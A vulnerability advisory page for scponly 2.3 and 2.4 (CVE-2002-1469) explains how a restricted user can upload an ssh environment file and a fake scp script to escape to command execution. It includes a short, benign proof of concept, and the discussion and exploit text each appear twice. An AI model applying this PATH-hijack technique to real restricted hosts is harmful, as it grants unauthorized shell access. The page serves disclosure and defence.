SCPOnly SSH Environment Shell Escaping Vulnerability
BID:5526
Info
SCPOnly SSH Environment Shell Escaping Vulnerability
| Bugtraq ID: | 5526 |
| Class: | Configuration Error |
| CVE: |
CVE-2002-1469 |
| Remote: | No |
| Local: | Yes |
| Published: | Aug 20 2002 12:00AM |
| Updated: | Jul 11 2009 03:56PM |
| Credit: | Vulnerability discovery credited to Derek D. Martin <[email protected]>. |
| Vulnerable: |
scponly scponly 2.4 scponly scponly 2.3 |
| Not Vulnerable: | |
Discussion
SCPOnly SSH Environment Shell Escaping Vulnerability
scponly is a freely available, open source restricted secure copy client. It is available for Unix and Linux operating systems.
The default installation of scponly does not place sufficient access controls on the .ssh subdirectory. Due to this oversight, it is possible for a remote user to upload files which may allow command execution. This could lead to unintended command execution, and regular shell access to a vulnerable host.
scponly is a freely available, open source restricted secure copy client. It is available for Unix and Linux operating systems.
The default installation of scponly does not place sufficient access controls on the .ssh subdirectory. Due to this oversight, it is possible for a remote user to upload files which may allow command execution. This could lead to unintended command execution, and regular shell access to a vulnerable host.
Exploit / POC
SCPOnly SSH Environment Shell Escaping Vulnerability
The following was provided by Derek D. Martin <[email protected]>:
For example, the user could scp the following to
$HOME/.ssh/environment:
# ssh environment
PATH=/home/myhomedir/:/usr/bin:/bin
#end
Subsequently, the user could upload the following file to their home
directory, and call it scp:
#!/bin/sh
echo "I'm a bad boy" > /tmp/exploit
/usr/bin/scp $@
# end
When they next scp a file:
[root@restricted /tmp]
# ls -l
total 24
-rw-r--r-- 1 bonehead bonehead 14 Aug 19 22:46 exploit
[root@restricted /tmp]
# cat exploit
I'm a bad boy
The following was provided by Derek D. Martin <[email protected]>:
For example, the user could scp the following to
$HOME/.ssh/environment:
# ssh environment
PATH=/home/myhomedir/:/usr/bin:/bin
#end
Subsequently, the user could upload the following file to their home
directory, and call it scp:
#!/bin/sh
echo "I'm a bad boy" > /tmp/exploit
/usr/bin/scp $@
# end
When they next scp a file:
[root@restricted /tmp]
# ls -l
total 24
-rw-r--r-- 1 bonehead bonehead 14 Aug 19 22:46 exploit
[root@restricted /tmp]
# cat exploit
I'm a bad boy